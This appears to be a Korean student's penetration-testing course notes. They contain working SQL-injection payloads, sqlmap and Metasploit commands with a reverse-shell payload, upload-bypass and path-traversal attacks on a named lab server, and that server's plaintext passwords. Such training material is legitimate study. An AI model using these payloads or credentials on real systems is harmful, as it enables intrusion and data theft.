  8. 'abc' 대신 db 테이블을 가져와야 하므로 쿼리문 (select distinct top 1 table_name from information_schema.tables order by table_name asc) distinct top 1 : 맨위의 테이블 한개만 information_schema.tables : 모든 테이블명을 관리하고 있는 테이블 order by table_name asc : table_name 작은것 부터 순서대로 정렬
  9. 순서대로 정렬된 첫번째 테이블의 첫글자 가져오기 (예: admin 테이블)

http://210.121.193.52/board/index.asp?cmd=view&page=1&b_com=yes&gubun=gel&p_from=down&info_ref=6&info_idx=6 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc),1,1)) between 32 and 127

에러 안나는 쪽으로 숫자 범위를 좁혀간다. 첫번째 테이블의 첫번째 글자 = a

  1. ascii( ~, 1,1)을 ascii( ~, 2,1) 로 바꾸어서 두번째 글자를 찾는다. 첫번째 테이블의 두번째 글자 = a
  2. 세번째~ 글자를 모두 찾는다. 테이블 명 = admin
  3. 첫번째 테이블의 첫번째 컬럼의 첫글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' order by column_name asc), 1,1)) between 97 and 126

information_schema.columns : 모든 컬럼명을 관리하고 있는 테이블

  1. 첫번째 테이블의 첫번째 컬럼명 나머지 글자 찾기
  2. 첫번째 테이블의 두번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 1 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 126
  3. 번째 테이블의 세번째 컬럼명 나머지 글자 찾기 http://~&info_idx=1 and ascii(substring((select distinct top 1 column_name from information_schema.columns where table_name = '첫번째 테이블명' and column_name not in (select distinct top 2 column_name from information_schema.columns order by column_name asc) order by column_name asc), 1,1)) between 97 and 127

not in (~ top 2 ~) 부분만 변경

  1. 찾은 테이블명과 컬럼명으로 데이터 첫글자 확인 http://~&info_idx=1 and ascii(substring((select distinct top 1 컬럼명 from 테이블명), 1,1)) between 97 and 122

SQL map

쿠키를 가져와서 URL에 삽입한다.

sqlmap -u "http://192.168.1.23///board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db

실습 8 SQL map

실습8 SQL map

kali > sqlmap

  1. 취약한 부분 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI"
  2. db 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" --current-db
  3. table명 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -tables
  4. data 확인 sqlmap -u "http://192.168.145.136/board/index.asp?cmd=view&page=1&info_ref=6&b_com=yes&gubun=gel&p_from=down&info_idx=6" --cookie="ASPSESSIONIDSQCBCCAQ=MFMLLLJDBJAFJNAJMBNEMKBI" -D camel -T member -dump

우회 방법

php;.jpg

php.x

asp.kr

inc

웹쉘 사용

http://210.121.193.52/board/upload

이러한 방식으로 웹쉘을 실행해서 내가 원하는 작업을 할 수 있다.

실습 10 파일다운로드

웹쉘 파일 압축 플어서 업로드

실습 11 Metasploit

kali 192.168.145.129 camel 192.168.145.136

nmap -sV 192.168.145.136

nmap --script vuln 192.168.145.136

smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).

msfconsole msf6 > search ms08-067 msf6 > use exploit/windows/smb/ms08_067_netapi msf6 exploit(windows/smb/ms08_067_netapi) > show options msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp run

back msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(windows/smb/ms17_010_psexec) > show options msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.145.136 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run meterpreter > shell

300x250
320x100

주관식

  1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

  1. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

  1. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

  1. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

  1. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

 

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

https://www.findip.kr/#google_vignette 공인아이피확인 사이트

https://후이즈검색.한국/

https://dencode.com/

210.121.193.52 : 테스트 서버

administrator / secul@b! (서버)

구내 네트워크 파악

  • 윈도우 pc

ipconfig

ipconfig/all

http://www.findip.kr/

http://whois.kisa.or.kr/kor/main.jsp

https://uic.io/ko/mac/ : 어떤 장비인지를 확인할떄 벤더가 어디있는지 확인

nmap -sV [IP]

nmap -A [IP]

nmap -Pn -A -sS [IP]

  • kali linux

ifconfig : 내 아이피 찾는 것

hostname -I :리눅스 시스템에서 호스트의 IP 주소를 출력

netstat -r : 현재 시스템의 라우팅 테이블을 표시

netstat -an : 현재 시스템의 네트워크 연결 상태를 표시

ip r l : 리눅스 또는 유닉스 시스템에서 라우팅 테이블을 확인

curl -4  icanhazip.com : 도메인이름을 ip로 바꿔줌 cmd 명령에서는 nslookup www.naver.com

nmap --script smb-enum-shares [IP] : 폴더 공유하고 있는거 찾을 때

nmap --script smb-os-discovery [IP] : smb 사용하고 있는 걸 찾을 때

nmap -sV [IP]

theHarvester -d ABC.com -b google


  • 모의해킹 : 취약점을 통해 악성코드를 심거나, DB 정보를 가져오는 작업까지 행함
  • 취약점 진단 : 취약점이있다는 것만 식별하고 보고서 작성

해킹 일련의 과정

  1. 정찰
  2. 스캐닝 및 취약점 분석
  3. 침투
  4. 권한상승
  5. 백도어 관리
  6. 흔적지우기

타겟 스코핑

  • 타켓 네트워크 환경의 스코프(범위)를 관찰, 이해

정보 수집

  • 구글, 포럼, 게시판, 뉴스그룹, 기사, 블로그, 소셜네트워크 등 인터넷 리소스를 이용

타겟발견

  • 사용중인 기술, 네트워크 구성장비, 운영중인 서비스

타겟 탐색

  • 타겟시스템의 열린 포트 검색

취약점 매핑

  • 포트와 서비스 정보를 이용해 취약점을 찾고 분석

장악 유지

  • 장악을 유지하여 시연할 때 침투 테스트 과정을 다시 수행하지 않아도 되므로 시간, 비용 절감
  • 프로토콜, 프록시, 단대단 연결방식 등을 이용하는 터널링 기술을 사용해서 필요한 기간 동안 숨어 있을 수 있다.

문서화와보고

  • 모의해킹을 하면서 과정들을 캡쳐해서 문서화 시킨다. (문서화 시킬떄는 그걸 보고 따라 할 수 있을 정도로 만들어야한다)
  • 마지막 단계로 발견, 검증, 익스플로잇한 취약점의 발표, 문서화, 보고를 해야한다.

www 를 제외하고 검색해야지 전체 URL을 볼 수 있다.

SITE : 구글 검색에서 특정 도메인이나 웹사이트 내에서 정보나 페이지를 검색할 때 사용하는 검색 연산자

INURL : 구글 검색에서 특정 URL 패턴을 찾기 위해 사용하는 검색 연산자

FILETYPE 구분해서 적어야함 ex) xls,doc,docx,php …

INTEXT : 사이트 안에 텍스트로 되어 있는 것 중 검색

NUMRANGE : 안에 있는 숫자들을 검색할떄 사용

구글 검색을 통한 예시

  • filetype:xls 학번

https://www.exploit-db.com/google-hacking-database

특정 파일 찾기

filetype:xls 학번

index.of ws_ftp.log or filetype:log버전 확인

intitle:index.of "server at"

filetype:xls username password email

사내 인트라넷 검색

intitle: intranet inurl:intranet +intext:"human resources"

사용 예)

site:www.ABC.com

site:ABC.com                         : 고객사 사이트를 전체적으로 검색

site:ABC.com intitle:index.of   : 디렉토리리스팅 페이지 검색

site:ABC.com intitle:login        : 로그인 페이지 검색

site:ABC.com inrul:/admin       : 관리자 페이지 검색

site:ABC.com intitle:관리자       : 관리자 페이지 검색

site:ABC.com filetype:xls         : 파일검색

site:ABC.com -site:m.ABC.com

www.ABC.com/robots.txt

NMAP

nmap -sV 210.121.193.53

nmap -O 210.121.193.53

nmap -A 210.121.193.53

nmap -v --script vuln 210.121.193.53

nmap -Pn -A -sS 210.121.193.52

Pn = 보통 ICMP를통해 포트가 살아있는지 확인을 하는데 ping 을 안치고 바로 포트로 가겠다.

-O : 운영체제OS가 무엇인지 보여줌

-S : 서비스 버전을 보여줌

-A : -O + -S (이 서버 운영체제를 알려주고, 서비스 버전까지 보여주는 옵션)

-sS : 스캔을 할 떄 TCP 3way handshake 전체 연결을 맺는게 보통인데, sS 옵션은 스텔스모드라고 해서 중간에 끊어서 서버에서 모르게 하는 것. 세션을 맺어버리면 보안장비에서 알 수 있기 떄문에 스텔스 모드로 사용하기 위해 -sS 옵션을 사용한다.

-v : 과정이 안나와서 잘 돌아가는지 모를 때 사용

nmap —script vuln 210.121.193.52



칼리리눅스

pentest / secul@b!

sudo su -

secul@b!

웹 방화벽 유무

nmap NSE (Nmap Scripting Engine)

 Categories

  • default : 타겟 도메인의 전반적인 항목에 대해 스캔 수행
  • safe : 안전한 항목에 대해 스캔 수행
  • auth : 인증과 관련된 스크립트, anonymous ftp 스캔 등
  • discovery : 대상에 대한 깊이 있는 정보를 찾는 스크립트들
  • external : 외부의 자원(resources)을 활용한 스크립트들
  • intrusive : 대상에 대한 공격 시도를 하는 스크립트들
  • malware : 백도어나 악성코드(malware) 점검과 관련된 스크립트들
  • Vuln : 알려진 취약성을 점검하는 스크립트들

nessus

  • 취약성 점검 프로그램
  • 다양한 형태로 리포트를 제공하며 취약점에 대한 빠른 업데이트가 가능한 프로그램
  • Essential 버전
  • 무료
  • 16개 IP 스캔가능
  • 컴플라이언스 체크와 감사는 사용불가

CVE (Common Vulnerabilities and Exposure)  소프트웨어의 보안 취약점을 가리키는 표기법  CVE-2014-NNNN...N  CVE-해당연도-취약점번호

▣ CVSS (Common Vulnerability Scoring System, 취약점 점수 시스템) 취약점의 심각도를 판단하는 기준

HTTP Request  웹 클라이언트가 웹 서버에게 자원을 요청하는 것  HTTP Request에 포함된 상세 정보

GET 과 POST의 차이

GET : URL 주소에 쭉 들어가게 적어서 웹로그만 보면 노출이 된다. → head 에 들어감

POST : 홈을 만들어서 그 안에 넣게 하는 방식, 웹로그만 보면 노출이 되지 않는다→ 변수가 Body 부분에 담김

PUT : put을 넣고 내용을 집어넣으면 그 서버에 들어가서 절대 사용 x

DELETE: 웹서버에 있는 자료를 삭제 할 수 있는 메소드

HTTP Response

200 OK : 서버 자원이 있다.

403 Forbidden : 서버 자원이 있는데, 금지 시킴

404 Not Found : 서버 자원이 없다.

Session

  • 어떤 일이 시작되는 시점부터 끝날 때까지를 의미, 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미

세션 : 서버에 저장

쿠키 : PC에 저장

결국, 세션과 쿠키는 똑같은 값을 가진다.`

XSS

  • 보는 사람이 게시물을 클릭하는 순간 스크립트가 실행 ( 쿠키정보를 팝업으로 띄울 수 있고, 밖으로 보낼 수도 있다.)
  • 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취

SQL injection

  • select mem_id from member; union select dong_juso from juso;

결과 예시)

test1

test2

test3

대치동

영화동

select dong from member where dong_name = ‘대치동’;

대치동’ 이런식으로 ‘ 를 하나 더 찍어서 검색을 하면

select dong from member where dong_name = ‘대치동’’ ; 으로

‘으로 에러 메시지가 나오게 되면, SQL injection 취약점을 발견할 수 있는 가능성이 높아진다.

아래와 같이 세밀론으로 문장을 끝내본다.

대치동’;

  1. where dong_name = ‘대치동’
  2. where dong_name = ‘대치동’’ (에러)
  3. where dong_name = ‘대치동’;—’ ( — 뒤를 무시하라는 뜻 , 에러안남)
  4. 대치동’ union select nul from information_schema.table ;—
  5. 글자 제한이 걸려있어서 필터링이 걸려있음 → 버퍼 슈트

  1. 대치동’ union select null,null,null,null,null,null from information_schema.table ;— (통과)
  2. 문자열에 숫자를 넣어 공백을 확인한다
  3. 대치동’ union select ‘1’,’2’,’3’,’4’,’5’,’6’ from information_schema.table ;—
  4. 대치동’ union select ‘1’,table_name,’3’,’4’,’5’,’6’ from information_schema.table ;—
  5. 대치동’ union select ‘1’,column_name,’3’,’4’,’5’,’6’ from information_schema.columns where table_name = ‘admin’ ;—
  6. 대치동’ union select ‘1’,admin_id,admin_pass,’4’,’5’,’6’ from admin ;—
  7. 어드민 아이디, 비밀번호가 보임
  8. 스캔했을때 어드민 페이지가 있는 것을 확인 http://192.168.145.136/admin
  9. 어드민 아이디, 비밀번호 넣고 접속

 

 

 

실습 1 회원가입 시 js 우회

실습 1

burp suite 설치

proxy tool 로서 request와 response를 중간에서 가로채서 보거나

수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.

210.121.193.52 camel

회원가입 - 주민등록번호 입력 우회

burp > porxy > intecept responses 에 체크 - close

open browser > 210.121.193.52 > intercept is on

회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();

사이를 삭제 > forward

이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off

실습2 테스트 계정 찾기

실습 2

test 계정과 pw 찾기

아이디 : [ ] 중복체크기능 활용

일반계정 : test, test1, test2, ... test11,..... test123,...

관리자계정 : root, admin, manager,....

찾았으면 로그인 창으로 가서 패스워드 찾기

id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등

가능하면 2개 이상 찾기

실습 3 Union SQL injection

  1. union SQL Injection
  1. 문자 변수인지 숫자 변수인지 확인 대치동 대치동' 대치동';-- 대치동' union select 1,1,1,1,1 ;--
  2. 필드 길이제한 확인 burpsuite 에서 limit 해제 proxy > proxy setting > Response modification rules

Remove input field length limits

대치동' union select null,null,null,null from information_schema.tables;--

  1. 컬럼 갯수 맞추기
    • 갯수 안맞으면 에러
  2. 숫자인지 문자인지 맞추기 null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기
  3. 적당한 필드에 table_name 넣어서 확인하기
  4. 찾은 table_name 의 column_name 확인하기
  5. 관리자 table 에서 관리자 id와 pw 확인하기

실습 3 Union SQL injection

대치동

대치동'

대치동';

대치동';--

proxy setting > remove input field length limit 체크

대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--

대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--

대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns

where table_name = 'admin' ;--

대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--

select admin_id, admin_pw from admin where admin_id = ‘test ‘ or ‘1’=’1’;

‘ or ‘1’=’1

다운로드 취약점

http://210.121.193.52/board/download.asp?file_name=/board/download.asp

http://210.121.193.52/board/download.asp?file_name=../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/index.asp (DB연결정보)

코드는 추후 사용할 수 있기때문에 메모장에 복사해 놓는다.

http://210.121.193.52/board/download.asp?file_name=../../board/dns.asp

300x250

+ Recent posts